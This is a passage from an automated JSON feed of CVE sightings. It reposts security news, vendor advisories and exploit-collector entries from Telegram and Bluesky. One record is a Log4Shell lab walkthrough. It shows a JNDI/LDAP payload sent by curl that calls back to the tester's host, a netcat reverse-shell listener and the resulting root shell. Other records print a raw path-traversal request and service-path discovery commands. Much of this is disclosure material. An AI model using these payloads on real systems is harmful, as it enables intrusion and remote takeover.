\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-25487", "author": {"login": "automation"}}, {"uuid": "ad45e9e3-dab7-40f8-93c5-cb5d3ab2fd59", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T04:00:04.731820+00:00", "type": "exploited", "source": "https://t.me/hacking_Attack/47879", "content": "hacking: security in practice\nGoogle Issues Urgent Chrome Update to Patch Actively Exploited Zero-Day Vulnerability. CVE-2022-1096 is the second zero-day vulnerability addressed by Google in Chrome since the start of the year.\n\nhttps://external-preview.redd.it/2U9J_1ec9Sb90d2vXaibCJi-8ZS1EnVsL97HBWLLWVU.jpg?width=640&crop=smart&auto=webp&s=a5785a74f798be2071b0dc339e82d02bf8c8847a submitted by /u/Late_Ice_9288 \n[link] [comments]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-1096", "author": {"login": "automation"}}, {"uuid": "05db5ae4-12da-4615-be54-2af5641efb2f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T04:00:04.680205+00:00", "type": "exploited", "source": "https://t.me/hacking_Attack/47888", "content": "log4j shell poc with User-Agent payload\nhttps://www.reddit.com/r/Pentesting/comments/tq3bff/log4j_shell_poc_with_useragent_payload/\n\n* Note: I found that log4j payload is not allowed to be written here in reddit, so I replace it with PAYLOADHERE keyword. In short, PAYLOADHERE = jndi:ldap If you want to see the full content, I've copied it to pastebin https://pastebin.com/Uge5Rk2H This lab has been created based on the following vulnerable docker image for log4j: https://github.com/kozmer/log4j-shell-poc (go ahead and try it to reproduce this issue) Lab setup Install vulnerable docker application on TARGET and run it TARGET$ git clone https://github.com/kozmer/log4j-shell-poc TARGET$ cd log4j-shell-poc TARGET$ docker build -t log4j-shell-poc . TARGET$ docker run --network host log4j-shell-poc  Prepare POC on TESTER TESTER:~$ git clone https://github.com/kozmer/log4j-shell-poc TESTER:~$ cd log4j-shell-poc TESTER:~$ pip install -r requirements.txt TESTER:~/log4j-shell-poc$ python3 poc.py --userip TESTER --webport 8000 --lport 9001 [!] CVE: CVE-2021-44228 [!] Github repo: https://github.com/kozmer/log4j-shell-poc [+] Exploit java class created success [+] Setting up LDAP server [+] Send me: ${PAYLOADHERE://TESTER:1389/a} [+] Starting Webserver on port 8000 http://0.0.0.0:8000 Listening on 0.0.0.0:1389  Start a netcat listener to accept reverse shell connection TESTER:~$ nc -lvnp 9001  Use curl/browser to send data back to the TESTER-1 TESTER:~$ curl -d 'uname=${PAYLOADHERE://TESTER:1389/a}&password=' http://TARGET:8080/login  Check netcat again TESTER:~$ nc -lvnp 9001 listening on [any] 9001 ... connect to [TESTER] from (UNKNOWN) [TARGET] 36422 id uid=0(root) gid=0(root) groups=0(root) hostname TARGET  Test completed successfully. However, instead of sending data to login form, I've decided to try again using different entry point which is via User-Agent. This is my payload TESTER:~$ curl -H 'User-Agent: ${PAYLOADHERE://TESTER:1389/a}' http://TARGET:8080    ....  However, I did not get any connection to my netcat listener via this way. What's wrong in this payload and how to fix it?    submitted by    /u/w0lfcat  (https://www.reddit.com/user/w0lfcat) \n [link] (https://www.reddit.com/r/Pentesting/comments/tq3bff/log4j_shell_poc_with_useragent_payload/)   [comments] (https://www.reddit.com/r/Pentesting/comments/tq3bff/log4j_shell_poc_with_useragent_payload/)\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2021-44228", "author": {"login": "automation"}}, {"uuid": "24ef4ef6-2348-4a60-b383-92b73b2c4e92", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T04:00:04.638384+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/47296", "content": "Exploit Collector\nImpressCMS 1.4.2 SQL Injection\n\nhttps://4.bp.blogspot.com/-yl8JZs3kPK0/WWlvOF1SUeI/AAAAAAAAIMk/jv5-1ECzklsqpq4rMFWFx2wFFGh-Q9GlwCLcBGAs/s1600/h24.png \nImpressCMS versions 1.4.3 and below suffer from a remote SQL injection vulnerability.\n\nMD5 | 87f67399dc57cf0886d71c379f9cc8b8\n\nDownload\n---------------------------------------------------------------\nImpressCMS <=\n---------------------------------------------------------------\n[-] Software Link:\n\nhttps://www.impresscms.org\n[-] Affected Versions:\n\nVersion 1.4.3 and prior versions.\n[-] Vulnerability Description:\n\nThe vulnerability is located in the /include/findusers.php script:\n\n281.            $total = \n$user_handler->getUserCountByGroupLink(@$_POST[\"groups\"], $criteria);\n282.\n283.            $validsort = array(\"uname\", \"email\", \"last_login\", \n\"user_regdate\", \"posts\");\n284.            $sort = (!in_array($_POST['user_sort'], $validsort)) ? \n\"uname\" : $_POST['user_sort'];\n285.            $order = \"ASC\";\n286.            if (isset($_POST['user_order']) && $_POST['user_order'] \n== \"DESC\") {\n287.                $order = \"DESC\";\n288.            }\n289.\n290.            $criteria->setSort($sort);\n291.            $criteria->setOrder($order);\n292.            $criteria->setLimit($limit);\n293.            $criteria->setStart($start);\n294.            $foundusers = \n$user_handler->getUsersByGroupLink(@$_POST[\"groups\"], $criteria, TRUE);\n\nUser input passed through the \"groups\" POST parameter is not properly \nsanitized before being passed to the \nicms_member_Handler::getUserCountByGroupLink() and \nicms_member_Handler::getUsersByGroupLink() methods at lines 281 and 294. \nThese methods use the first argument to construct a SQL query without \nproper validation, and this can be exploited by remote attackers to e.g. \nread sensitive data from the \"users\" database table through \nboolean-based SQL Injection attacks. The application allows for stacked \nSQL queries, as such this vulnerability could be exploited to e.g. \ncreate a new admin user and execute arbitrary PHP code.\n[-] Solution:\n\nUpgrade to version 1.4.4 or later.\n[-] Disclosure Timeline:\n\n[19/01/2021] - Vendor notified through HackerOne\n[29/01/2021] - Vulnerability acknowledged by the vendor\n[03/02/2021] - CVE number assigned\n[06/02/2022] - Version 1.4.3 released, vulnerability not correctly fixed\n[11/02/2022] - Vendor was informed about the ineffective fix\n[09/03/2022] - Version 1.4.4 released\n[22/03/2022] - Public disclosure\n[-] CVE Reference:\n\nThe Common Vulnerabilities and Exposures project (cve.mitre.org)\nhas assigned the name CVE-2021-26599 to this vulnerability.\n[-] Credits:\n\nVulnerability discovered by Egidio Romano.\n[-] Other References:\n\nhttps://hackerone.com/reports/1081145\n[-] Original Advisory:\n\nhttp://karmainsecurity.com/KIS-2022-04\n\nSource:packetstormsecurity.com", "vulnerability": "CVE-2021-26599", "author": {"login": "automation"}}, {"uuid": "359a9779-9812-4f14-a8b8-6270561793ff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T04:00:04.575345+00:00", "type": "exploited", "source": "https://t.me/hacking_Attack/47490", "content": "Log4j CVE-2021-44228\nhttps://www.reddit.com/r/redteamsec/comments/tm2ted/log4j_cve202144228/\n\nHi all! I'm making an assignment for my university which consists in executing a pentest on a docker. By scanning with nessus I found a Log4j vulnerability and I'm trying to get the PoC of it. I searched on the web but I didn't find any interesting info about how to do that. Anyone has got some ideas? According to nessus, it seems to be related to LDAP service. (vulnerability got found on tcp port 80) https://preview.redd.it/m4vk6psk6bp81.png?width=1345&format=png&auto=webp&s=6d0e5541c4aa627f4c610943d185342a7c269909    submitted by    /u/_1NiCk1_  (https://www.reddit.com/user/_1NiCk1_) \n [link] (https://www.reddit.com/r/redteamsec/comments/tm2ted/log4j_cve202144228/)   [comments] (https://www.reddit.com/r/redteamsec/comments/tm2ted/log4j_cve202144228/)\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2021-44228", "author": {"login": "automation"}}, {"uuid": "e66d51f8-1281-4623-8f2d-576b7633087f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T04:00:04.522017+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/47293", "content": "Exploit Collector\nImpressCMS 1.4.2 Path Traversal\n\nhttps://4.bp.blogspot.com/-lQ2zJgiLTsU/WWlu34sMcWI/AAAAAAAAII4/mS7xceEZnmUYAvFeoaUiLc9JINHoDjNsACLcBGAs/s1600/h102.png \nImpressCMS versions 1.4.2 and below suffer from a path traversal vulnerability that can allow for arbitrary file deletion.\n\nMD5 | a8d22b7cc80f2dd7e1709f1422b1179e\n\nDownload\n-----------------------------------------------------------------\nImpressCMS <=\n-----------------------------------------------------------------\n[-] Software Link:\n\nhttps://www.impresscms.org\n[-] Affected Versions:\n\nVersion 1.4.2 and prior versions.\n[-] Vulnerability Description:\n\nThe vulnerability is located in the \n/libraries/image-editor/image-edit.php script:\n\n161.        if (@copy ( ICMS_IMANAGER_FOLDER_PATH . '/temp/' . \n$simage_temp, $categ_path . $simage->getVar ( 'image_name' ) )) {\n162.            if (@unlink ( ICMS_IMANAGER_FOLDER_PATH . '/temp/' . \n$simage_temp )) {\n163.                $msg = _MD_AM_DBUPDATED;\n\n[...]\n\n190.        } else {\n191.            if (copy ( ICMS_IMANAGER_FOLDER_PATH . '/temp/' . \n$simage_temp, $categ_path . $imgname )) {\n192.                @unlink ( ICMS_IMANAGER_FOLDER_PATH . '/temp/' . \n$simage_temp );\n193.            }\n\nUser input passed through the \"image_temp\" parameter is not properly \nsanitized before being used in a call to the unlink() function at lines \n162 and 192. This can be exploited by authenticated attackers to carry \nout Path Traversal attacks and delete arbitrary files in the context of \nthe web server process. This vulnerability could be exploited also to \ndisclose the content of arbitrary files in case the web server allows \nfor directory listing.\n\n[-] Solution:\n\nUpgrade to version 1.4.3 or later.\n[-] Disclosure Timeline:\n\n[19/01/2021] - Vendor notified through HackerOne\n[29/01/2021] - Vulnerability acknowledged by the vendor\n[03/02/2021] - CVE number assigned\n[06/02/2022] - Version 1.4.3 released\n[22/03/2022] - Public disclosure\n[-] CVE Reference:\n\nThe Common Vulnerabilities and Exposures project (cve.mitre.org)\nhas assigned the name CVE-2021-26601 to this vulnerability.\n[-] Credits:\n\nVulnerability discovered by Egidio Romano.\n[-] Other References:\n\nhttps://hackerone.com/reports/1081878\n[-] Original Advisory:\n\nhttp://karmainsecurity.com/KIS-2022-02\n\nSource:packetstormsecurity.com", "vulnerability": "CVE-2021-26601", "author": {"login": "automation"}}, {"uuid": "13f35104-7484-4cfb-a63e-b028ff9100e2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T03:45:14.967519+00:00", "type": "seen", "source": "https://bsky.app/profile/0daynews.bsky.social/post/3mut3e6azmt2b", "content": "Elementor Pro Flaw Exploited to Backdoor WordPress Sites \u2014 Attackers are exploiting CVE-2026-32475, a critical file\u2026 https://0daynews.com/articles/2026-09-04-elementor-pro-cve-2026-32475-wordpress-webshell?utm_source=bluesky&utm_medium=organic_social&utm_campaign=always_on&utm_content=hub-959", "vulnerability": "cve-2026-32475", "author": {"login": "automation"}}, {"uuid": "a7e3535f-9ec1-4a36-aeca-2a840812bc94", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T03:32:48.440018+00:00", "type": "seen", "source": "https://bsky.app/profile/termsofsurrender.bsky.social/post/3mut2nwdol32y", "content": "Critical Router Flaw, Because Apparently Security Is Still Optional\nPANIC 78% | Lag 0.0h | CVE-2026-86151 is reported as a critical vulnerability in Tenda CP3 running 27.5.57.101, affecting t\n#AfterShockIndex\nREAD MORE", "vulnerability": "CVE-2026-86151", "author": {"login": "automation"}}, {"uuid": "25a6f4e5-09a2-40ef-b4e7-6b3d136d761e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T03:10:04.510032+00:00", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3muszfbbcgk25", "content": "CVE-2026-75816 - frontend admin by dynamiapps\nThe Frontend Admin plugin for WordPress (up to version 3.29.12) allows anyone on the internet to modify the email address of any user, including admins. Changing the email\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#shabti #CVE #infosec", "vulnerability": "CVE-2026-75816", "author": {"login": "automation"}}, {"uuid": "874233f7-cf49-41e4-9e65-11880f23e4da", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T03:03:05.873856+00:00", "type": "seen", "source": "https://bsky.app/profile/hnfeed.bsky.social/post/3musyysiheq2m", "content": "Actively exploited sandbox RCE in all Chromium versions\nhttps://nvd.nist.gov/vuln/detail/cve-2026-85046 \n[comments] [751 points]", "vulnerability": "cve-2026-85046", "author": {"login": "automation"}}, {"uuid": "d2080db5-7915-474f-918e-4d9f8de395e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T03:00:06.155762+00:00", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3musyth5lyy2n", "content": "CVE-2026-16310 - memberdash\nThe MemberDash add\u2011on for WordPress (versions up to 1.8.5) does not check a user\u2011supplied ID when creating a new account. Because of this, someone without a login can change\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#memberdash #learndash #CVE #infosec", "vulnerability": "CVE-2026-16310", "author": {"login": "automation"}}, {"uuid": "905fbffe-ee60-41e2-89c7-df7ccfa1f41d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T03:00:05.639372+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/48999", "content": "scarce-apache2-a-framework-for-bug-hunting-or-pentesting-targeting-websites-that-have-cve-2021\u201341773\u2026\nhttps://medium.com/@pentesterclubpvtltd/scarce-apache2-a-framework-for-bug-hunting-or-pentesting-targeting-websites-that-have-cve-2021-41773-e4cffaa88e94?source=rss------bug_bounty-5\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2021-41773", "author": {"login": "automation"}}, {"uuid": "2f557a8e-7637-4966-b1e3-9edda8950b54", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T03:00:05.592927+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/49001", "content": "This tool can scan websites with CVE-2021\u201341773 Vulnerability that are affecting Apache2 Webserver, ScaRCE can run too for executing\u2026Continue reading on Medium \u00bb (https://medium.com/@pentesterclubpvtltd/scarce-apache2-a-framework-for-bug-hunting-or-pentesting-targeting-websites-that-have-cve-2021-41773-e4cffaa88e94?source=rss------bug_bounty-5)\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2021-41773", "author": {"login": "automation"}}, {"uuid": "f513954f-869a-4667-a58b-3739ca471226", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T03:00:05.545609+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/49019", "content": "hacking: security in practice\nNewly updated VMware patches for critical vulnerabilities. CVE-2022-22954 ~ CVE-2022-22961\n\nsubmitted by /u/Late_Ice_9288 \n[link] [comments]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-22954", "author": {"login": "automation"}}, {"uuid": "2dcc7dd5-31ab-4cfb-99cc-5889fc4d44c8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T03:00:05.500571+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/49019", "content": "hacking: security in practice\nNewly updated VMware patches for critical vulnerabilities. CVE-2022-22954 ~ CVE-2022-22961\n\nsubmitted by /u/Late_Ice_9288 \n[link] [comments]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-22961", "author": {"login": "automation"}}, {"uuid": "c913239b-7e4d-4011-8fc1-b36bdae452c1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T03:00:05.453888+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/48763", "content": "CVE-2022\u201321907\nhttps://medium.com/@reconshell.com/cve-2022-21907-a119562dc97a?source=rss------bug_bounty-5\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-21907", "author": {"login": "automation"}}, {"uuid": "6a3204ad-b098-40ca-b83d-b4d16cec5bc9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T03:00:05.409401+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/48765", "content": "CVE-2022\u201321907: detection, protection, exploitation and demonstration. Exploitation: Powershell, Python, Ruby, NMAP and Metasploit\u2026Continue reading on Medium \u00bb (https://medium.com/@reconshell.com/cve-2022-21907-a119562dc97a?source=rss------bug_bounty-5)\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-21907", "author": {"login": "automation"}}, {"uuid": "7a76b57b-a7b7-4fe7-8bae-aceb9e54aa81", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T03:00:05.366612+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/48767", "content": "Black Hat Ethical Hacking\nSupply chain flaws in PHP package manager PEAR lay undiscovered for 15 years\n\nSupply chain flaws in PHP package manager PEAR lay undiscovered for 15 yearsPost Views: 3 \nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/04/patreon-300x61.png Advanced Enumeration techniques with NMAP, Zenmap and Hydra\n\nSubscribe to Patreon to watch this episode.\nReading Time: 2 Minutes\nAttackers could have wreaked havoc on the PHP ecosystem by exploiting a pair of longstanding vulnerabilities that were only recently patched in package manager PEAR.\nPEAR developer accounts were left at risk of malicious takeover by a flaw arising from weak entropy on the password reset function, revealed Thomas Chauchefoin, a vulnerability researcher at Swiss security firm SonarSource, in a blog post.\n\nAttackers could then poison the PHP\u00a0ecosystem with malicious releases of existing packages, before securing persistent access to the central PEAR server via abuse of a separate vulnerability in an outdated version of a bundled dependency.\n\nSonarSource has published a video\u00a0explaining the two-pronged attack scenario.\nSee Also: Complete Offensive Security and Ethical Hacking Course\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/Solutions-1.png \u2018Minimal technical expertise\u2019PEAR has fallen out of favor amid the rise to dominance of rival PHP package manager Composer, in whose principal repository SonarSource disclosed a similarly serious vulnerability\u00a0last year.\n\nHowever, the most popular packages downloaded via PEAR \u2013 the PEAR client itself, Console_Getopt, Archive_Tar, and Mail \u2013 still rack up several thousand downloads per month.\n\nThe supply chain vulnerabilities, which lay undiscovered for more than 15 years, \u201ccould have been easily identified and exploited by threat actors with only minimal technical expertise, causing important disruption and security breaches across the world\u201d, according to Chauchefoin.\n\nSoftware supply chain attacks targeting PEAR and similar developer tools have a particularly significant impact given developers \u201care likely to run it on their computers before deploying it on production servers, creating an opportunity for attackers to pivot into companies\u2019 internal network\u201d, he added. Weak PRNGPEAR\u2019s password reset function used mt_rand()\u00a0to generate random values, even though the technique is obsolete and unsuitable\u00a0for generating cryptographically secure values.\n\nOnce the values were concatenated and hashed with md5(), \u201cthe final value is only based on two unknowns, which are the output of mt_rand()\u00a0and time(),\u201d said Chauchefoin.\n\n\u201cThe first one cannot yield many values (10), and the second one can easily be approximated by the attacker. In addition, the HTTP server of pear.php.net adds a Date header to its responses, narrowing it down to only a few values (< 5).\u201d\n\nThe researchers concluded that attackers could secure a valid password reset token within 50 attempts.\nSee Also: Kali Linux 2022.1 Release with Visual Updates, New Tools, Legacy SSH The other bug provided a backdoor for continuing attacks even if the first bug had been fixed. \u201cIt could also help them to hide their tracks by modifying access logs,\u201d said Chauchefoin.\n\nThe flaw arose because pearweb pulled version 1.4.7 of Archive_Tar, which was vulnerable to CVE-2020-36193, a directory traversal\u00a0issue that could lead to remote code execution (RCE) on PEAR. TimelineSonarSource warned the maintainers of PEAR about the bugs on July 30, 2021.\n\nThey were patched in pearweb version 1.32, released on March 13, with all previous versions affected.\n\nThe flaws\u2019 survival in PEAR\u2019s codebase for more than 15 years raises \u201cquestions about the lack of security contrib[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2020-36193", "author": {"login": "automation"}}, {"uuid": "46bea548-66f5-4b2c-9903-29784a942e9e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T03:00:05.321171+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/48706", "content": "Exploit Collector\nBarco Control Room Management Suite Directory Traversal\n\nhttps://3.bp.blogspot.com/-L1ywDwIvHnM/WWlvbqBqi6I/AAAAAAAAIPQ/e-y1sGxHKpMGeO7A8b-5LHWSXrbuRWhUwCLcBGAs/s1600/h73.png \nBarco Control Room Management Suite versions prior to 2.9 build 0275 suffer from a directory traversal vulnerability.\n\nMD5 | 88e03b446ae044429f677923af2adc57\n\nDownload\n*I. SUMMARY*\nTitle: [CVE-2022-2623] Barco Control Room Management Suite File Path\nTraversal Vulnerability\nProduct: Barco Control Room Management Suite before 2.9 build 0275 and all\nprior versions\nVulnerability Type: File Path Traversal\nCredit by/Researcher: Murat Aydemir from Accenture Cyber Security Team\n(Prague CFC)\nContact: https://twitter.com/mrtydmr75\nGithub: https://github.com/murataydemir\n\n*II. CVE REFERENCE, CVSS SCORES & VULNERABILITY TYPES*\nCVE Number: CVE-2022-26233\nCVSSv3: Base score: 7.5 Impact 3.6 Exploitability: 3.9\nCVSSv3 Vector: 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)\nVulnerability Type: File Path Traversal\nCWE ID: CWE-22 Improper Limitation of a Pathname to a Restricted Directory\n('Path Traversal')\n\n*III. PROOF OF CONCEPT (POC) FOR CVE-2022-26233*\nDue to lack of input sanitizing inputs which come from url, an application\nis vulnerable to file path traversal vulnerability. A succesfully\nexploitation of this vulnerability could lead to access/read files and\ndirectories stored on file system including application source code or\nconfiguration and critical system files. No authentication is required to\nexploit this vulnerability. An attacker who is not logged into the\napplication can easily exploit this vulnerability.\n\nGET /..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\windows\\System32\\drivers\\etc\\hosts\nHTTP/1.1\nHost: vulnerablehost\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:81.0)\nGecko/20100101 Firefox/81.0\nAccept:\ntext/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\nAccept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3\nAccept-Encoding: gzip, deflate\nConnection: close\n\n[image: file-path-traversal.PNG]\n\n*IV. REFERENCE(S)*\nhttps://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-26233\nhttps://nvd.nist.gov/vuln/detail/CVE-2022-26233\nhttps://www.barco.com/en/support/knowledge-base/kb115*XX*\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-2623", "author": {"login": "automation"}}, {"uuid": "96befa06-fab5-4842-a11a-45c8f5a1f02c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T03:00:05.272803+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/48706", "content": "Exploit Collector\nBarco Control Room Management Suite Directory Traversal\n\nhttps://3.bp.blogspot.com/-L1ywDwIvHnM/WWlvbqBqi6I/AAAAAAAAIPQ/e-y1sGxHKpMGeO7A8b-5LHWSXrbuRWhUwCLcBGAs/s1600/h73.png \nBarco Control Room Management Suite versions prior to 2.9 build 0275 suffer from a directory traversal vulnerability.\n\nMD5 | 88e03b446ae044429f677923af2adc57\n\nDownload\n*I. SUMMARY*\nTitle: [CVE-2022-2623] Barco Control Room Management Suite File Path\nTraversal Vulnerability\nProduct: Barco Control Room Management Suite before 2.9 build 0275 and all\nprior versions\nVulnerability Type: File Path Traversal\nCredit by/Researcher: Murat Aydemir from Accenture Cyber Security Team\n(Prague CFC)\nContact: https://twitter.com/mrtydmr75\nGithub: https://github.com/murataydemir\n\n*II. CVE REFERENCE, CVSS SCORES & VULNERABILITY TYPES*\nCVE Number: CVE-2022-26233\nCVSSv3: Base score: 7.5 Impact 3.6 Exploitability: 3.9\nCVSSv3 Vector: 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)\nVulnerability Type: File Path Traversal\nCWE ID: CWE-22 Improper Limitation of a Pathname to a Restricted Directory\n('Path Traversal')\n\n*III. PROOF OF CONCEPT (POC) FOR CVE-2022-26233*\nDue to lack of input sanitizing inputs which come from url, an application\nis vulnerable to file path traversal vulnerability. A succesfully\nexploitation of this vulnerability could lead to access/read files and\ndirectories stored on file system including application source code or\nconfiguration and critical system files. No authentication is required to\nexploit this vulnerability. An attacker who is not logged into the\napplication can easily exploit this vulnerability.\n\nGET /..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\windows\\System32\\drivers\\etc\\hosts\nHTTP/1.1\nHost: vulnerablehost\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:81.0)\nGecko/20100101 Firefox/81.0\nAccept:\ntext/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\nAccept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3\nAccept-Encoding: gzip, deflate\nConnection: close\n\n[image: file-path-traversal.PNG]\n\n*IV. REFERENCE(S)*\nhttps://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-26233\nhttps://nvd.nist.gov/vuln/detail/CVE-2022-26233\nhttps://www.barco.com/en/support/knowledge-base/kb115*XX*\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-26233", "author": {"login": "automation"}}, {"uuid": "a86511ee-5334-4c11-b2e8-0ef8bcdbb251", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T03:00:05.230242+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/48750", "content": "hacking: security in practice\nGitLab Releases Patch for Critical Vulnerability That Could Let Attackers Hijack Accounts. Tracked as CVE-2022-1162, the issue has a CVSS score of 9.1 and is said to have been discovered internally by the GitLab team.\n\nhttps://external-preview.redd.it/INdOJDHrN0CrteOz7opOUM9lQei1KUbmWFrlbThk3mk.jpg?width=640&crop=smart&auto=webp&s=28ce0312fdf2542f3add4f82642d3e977db83dac submitted by /u/Late_Ice_9288 \n[link] [comments]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-1162", "author": {"login": "automation"}}, {"uuid": "99b6e658-da04-4836-b466-c97e601575aa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T03:00:05.185504+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/48701", "content": "Exploit Collector\nSherpa Connector Service 2020.2.20328.2050 Unquoted Service Path\n\nhttps://4.bp.blogspot.com/-I-n26yI3Cmk/WWlvWxoCyUI/AAAAAAAAIOM/Fl6K91g5v_sGMssa7qzCkbxeapM4aUyUACLcBGAs/s1600/h50.png \nSherpa Connector Service version 2020.2.20328.2050 suffers from an unquoted service path vulnerability.\n\nMD5 | 8d245fded6c0423ea8f5d318d08ed987\n\nDownload\n# Exploit Title:  Sherpa Connector Service (v2020.2.20328.2050) - Unquoted Service Path\n# Exploit Author: Manthan Chhabra (netsectuna), Harshit (fumenoid)\n# Version: 2020.2.20328.2050\n# Date: 02/04/2022\n# Vendor Homepage: http://gimmal.com/\n# Vulnerability Type: Unquoted Service Path\n# Tested on: Windows 10\n# CVE: CVE-2022-23909\n# Step to discover Unquoted Service Path:\nC:\\>wmic service get name,displayname,pathname,startmode | findstr /i \"sherpa\" | findstr /i \"auto\" |findstr /i /v \"c:\\windows\\\\\" |findstr /i /v \"\"\"\n\nSherpa Connector Service                                                            Sherpa Connector Service                                C:\\Program Files\\Sherpa Software\\Sherpa Connector\\SherpaConnectorService.exe                                            Auto\nC:\\>sc qc \"Sherpa Connector Service\"\n\n[SC] QueryServiceConfig SUCCESS\n\nSERVICE_NAME: Sherpa Connector Service\nTYPE               : 10  WIN32_OWN_PROCESS\nSTART_TYPE         : 2   AUTO_START\nERROR_CONTROL      : 1   NORMAL\nBINARY_PATH_NAME   : C:\\Program Files\\Sherpa Software\\Sherpa Connector\\SherpaConnectorService.exe\nLOAD_ORDER_GROUP   :\nTAG                : 0\nDISPLAY_NAME       : Sherpa Connector Service\nDEPENDENCIES       : wmiApSrv\nSERVICE_START_NAME : LocalSystem\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-23909", "author": {"login": "automation"}}, {"uuid": "946921fd-9a6d-4236-86e2-09ad0f65b3da", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T03:00:05.141840+00:00", "type": "exploited", "source": "https://t.me/hacking_Attack/48396", "content": "Black Hat Ethical Hacking\nNews-Draft-Patreon image removed, Patreon link instead\n\nNews-Draft-Patreon image removed, Patreon link insteadPost Views: 7 Advanced Enumeration techniques with NMAP, Zenmap and Hydra https://www.blackhatethicalhacking.com/wp-content/uploads/2022/04/Digital-Patreon-Logo_FieryCoral-150x150.png Subscribe to Patreon to\u00a0watch this episode.\nReading Time: 2 Minutes\n\u200bMozilla has released Firefox 